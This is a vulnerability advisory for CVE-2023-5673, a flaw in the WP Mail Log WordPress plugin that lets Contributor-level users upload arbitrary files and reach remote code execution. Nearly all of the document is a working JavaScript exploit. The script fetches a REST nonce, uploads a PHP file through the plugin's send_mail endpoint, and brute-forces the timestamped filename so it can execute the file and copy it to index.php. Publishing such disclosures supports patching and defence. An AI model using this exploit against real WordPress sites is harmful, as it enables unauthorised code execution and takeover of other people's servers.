WP Mail Log < 1.1.3 – Contributor+ Arbitrary File Upload to RCE | CVE 2023-5673

Description

The plugin does not properly validate file extensions uploading files to attach to emails, allowing attackers to upload PHP files, leading to remote code execution.
Proof of Concept

Run the following JS code in any page on the server, setting the `id` variable to a valid ID of a log entry on the server.
---
var nonce = await (await fetch('/wp-admin/admin-ajax.php?action=rest-nonce')).text();

// A valid ID for a log entry on the server.
var id = 1;

// Used to cancel the search for the uploaded file when the file upload request is finished and there was no match.
var uploadRequestFinished = null;

// Contains the local file path of all files inside wp-admin
// If you want to decrease/increase the delay, add/remove entries here.
var localAttachments = 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/**
 * Calls the REST endpoint to upload the PHP file
 */
var uploadFile = () => {

  let body = new FormData();
  
  // The uploaded PHP file
  // The copy command was added to ensure that a PHP file exists even if the server deleted the original PHP file
  let phpFile = new File(
    ["<?php if(isset($_GET['copy'])){copy(__FILE__,__DIR__.'/index.php');}echo 'Hello';"],
    'hello.php'
  );

  body.append( 'to_email', 'exmaple@localhost.com' );
  body.append( 'id', id );
  body.append( 'hello', phpFile );
  body.append( 'includeAttachment', JSON.stringify( localAttachments ) );

  // Change the domain here
  fetch("/wp-json/wml/v1/wml_logs/send_mail", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache",
        "X-WP-Nonce": nonce
    },
    "method": "POST",
    "mode": "cors",
    "body": body
  }).then(
    rsp => {
      uploadRequestFinished = true;
    }
  );
}

/**
 * Searches for the uploaded PHP file
 * 
 * If the processing power is available, this function can be changed to perform the search in parallel.
 * 
 * But beware, it may freeze your browser or computer
 * 
 * @param {integer} startTime 
 */
var callUploadedFile = startTime => {

  /*
  const protocol = `${window.location.protocol}//`;
  const host = window.location.host;
  */

  fetch(
    `/wp-content/uploads/${startTime}.php?copy`
  ).then(
    rsp => {
      if ( null !== uploadRequestFinished ) {
        console.log( 'Failed to call uploaded file' );
      } else if ( ! rsp.ok ) {
        callUploadedFile( startTime+1 );
      } else {
        console.log( 'Called uploaded file. You can now call the index.php inside the uploads folder.' );
      }
    }
  )
}

/**
 * Starts the exploit process
 */
function exploit() {

  let startTime = Number( String( Date.now() ).slice(0,10) );

  uploadFile();

  // Gives the server a little time to set up the upload request. It may be necessary to decrease/increase the delay
  setTimeout(
    () => {
      callUploadedFile( startTime );  
    },
    1000
  )
}

exploit();